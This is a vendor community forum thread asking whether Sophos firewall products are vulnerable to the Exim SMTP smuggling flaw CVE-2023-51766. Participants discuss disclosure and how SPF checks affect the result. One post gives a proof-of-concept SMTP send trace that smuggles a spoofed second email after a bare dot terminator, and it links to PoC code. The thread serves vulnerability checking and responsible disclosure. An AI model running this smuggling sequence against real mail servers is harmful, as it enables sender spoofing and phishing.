Important note about SSL VPN compatibility for 20.0 MR1 with EoL SFOS versions and UTM9 OS. Learn more in the release notes.

This discussion has been locked.
You can no longer post new replies to this discussion. If you have a question you can start a new discussion

SFOS and SG UTM affected by SMTP/EXIM CVE-2023-51766?

Hi, 

are SOFS and SG UTM affected by CVE-2023-51766 (Sender Spoofing by SMTP)?



This thread was automatically locked due to age.
Parents
  • Hello there,

    Thank you for contacting the Sophos Community.

    I need to reach out internally to confirm; I will update the post once I hear back or by the end of the day on Tuesday.

    Regards,


     
    Emmanuel (EmmoSophos)
    Technical Team Lead, Global Community Support
    Sophos Support VideosProduct Documentation  |  @SophosSupport  | Sign up for SMS Alerts
    If a post solves your question use the 'Verify Answer' link.
  •   Do you have details for us regarding the Exim vulnerability  CVE-2023-51766 and it's impact on the current versions of XG/UTM ?

  • I don't think so, this was smuggling

    poc payload looks something like this

    send: sending "From: test@[valid domain #1]co.nz\r" to { exp4 }
    send: sending "To: validrecipient@[valid domain #2].co.nz\r" to { exp4 }
    send: sending "Subject: 1st email\r" to { exp4 }
    send: sending "\r" to { exp4 }
    send: sending "1st email content with many others emails\r" to { exp4 }
    send: sending "\r" to { exp4 }
    send: sending ".\r" to { exp4 }
    send: sending "mail FROM:<spoofedvalidrecipient#1@[invalid domain #1].co.nz>\r" to { exp4 }
    send: sending "rcpt TO:<validrecipient#1@[valid domain #2].co.nz>\r" to { exp4 }
    send: sending "data\r" to { exp4 }
    send: sending "From: spoofedvalidrecipient#1@[invalid domain #1].co.nz\r" to { exp4 }
    send: sending "To: validrecipient#1@[valid domain #2].co.nz\r" to { exp4 }
    send: sending "Subject: Spoofed email #1\r" to { exp4 }
    send: sending "\r" to { exp4 }
    send: sending "Content of the #1 spoofed email\r" to { exp4 }
    send: sending "\r" to { exp4 }
    send: sending ".\r" to { exp4 }

    poc code (modified) can be found here CVE-2023-51764.sh

  • Hello,

    As mentioned if you want this to be investigated further, please submit the original logs along with your exim.conf file.

    Regards,


     
    Emmanuel (EmmoSophos)
    Technical Team Lead, Global Community Support
    Sophos Support VideosProduct Documentation  |  @SophosSupport  | Sign up for SMS Alerts
    If a post solves your question use the 'Verify Answer' link.
  • Home user - waiting on support account to be registered. before providing logs.

  • Hi,

    you won't get a support account created as a home user. You might be able to send them to Emmanuel to forward to the support team.

    Ian

    XG115W - v20.0.2 MR-2 - Home

    XG on VM 8 - v21 GA

    If a post solves your question please use the 'Verify Answer' button.

  • Eh - gave up mucking about with raising a support ticket... have emailed security-alert@sophos.com (as per security.txt) - it'll either be fixed, or ignored. So we'll see in 87(90-3) days...

  • Thank you for the details Seth, I'll get our engineering team to look into this further. 

  • Regardless of the investigation of Sophos (DEV) i took a look at your code  . 
    My SFOS appliances does block the second email with SPF sent by the CVE code. 
    What did you use as a Spoof Email? Because my Email has a valid SPF Record first and then the second (spoof) email is a SPF Hardfail Email - Which gets blocked. 

    I could see individual SPF checks for each mail based on the Email CVE script. 

    What kind of examples did you use Seth?

    __________________________________________________________________________________________________________________

  • Hey LuCar

    if valid SPF exists it can impact the smuggling of the emails, however, if you were to disable SPF for the originating sender IP it should then process fine.

    for the main email I picked an external domain at random that didn't have SPF records, for the smuggled emails I used my own domains where SPF, DKIM and DMARC were configured and enforced. so disabling SPF for the originating IP resulted in all emails being smuggled.

    From what I saw, DKIM and DMARC were ignored for the smuggled emails, and SPF checks were executed, and failed as the external IP was not permitted to send email.

    hope that helps.

  • one correction, I suspect that my UTM may have validated SPF against itself for the smuggled emails - but I didn't dig into this further at the time (apologies fror any confusion).

  • Could you send me via PM the POC Code you used? 
    Because as far as i understand you, i should be able to reproduce it with your exact examples: one non existing Email and a SPF record from you. 

    I was watching the entire CCC webinar and checked for the logic behind this attack and from what i could see, SFOS and UTM did a SPF check for each indiviual Email generated by this PoC code: https://github.com/duy-31/CVE-2023-51764/ So as soon as SFOS / UTM threats those emails individually (and check for SPF) it should not be affected (by my understanding). 

    See: https://youtu.be/V8KPV96g1To 

    __________________________________________________________________________________________________________________

Reply
  • Could you send me via PM the POC Code you used? 
    Because as far as i understand you, i should be able to reproduce it with your exact examples: one non existing Email and a SPF record from you. 

    I was watching the entire CCC webinar and checked for the logic behind this attack and from what i could see, SFOS and UTM did a SPF check for each indiviual Email generated by this PoC code: https://github.com/duy-31/CVE-2023-51764/ So as soon as SFOS / UTM threats those emails individually (and check for SPF) it should not be affected (by my understanding). 

    See: https://youtu.be/V8KPV96g1To 

    __________________________________________________________________________________________________________________

Children
No Data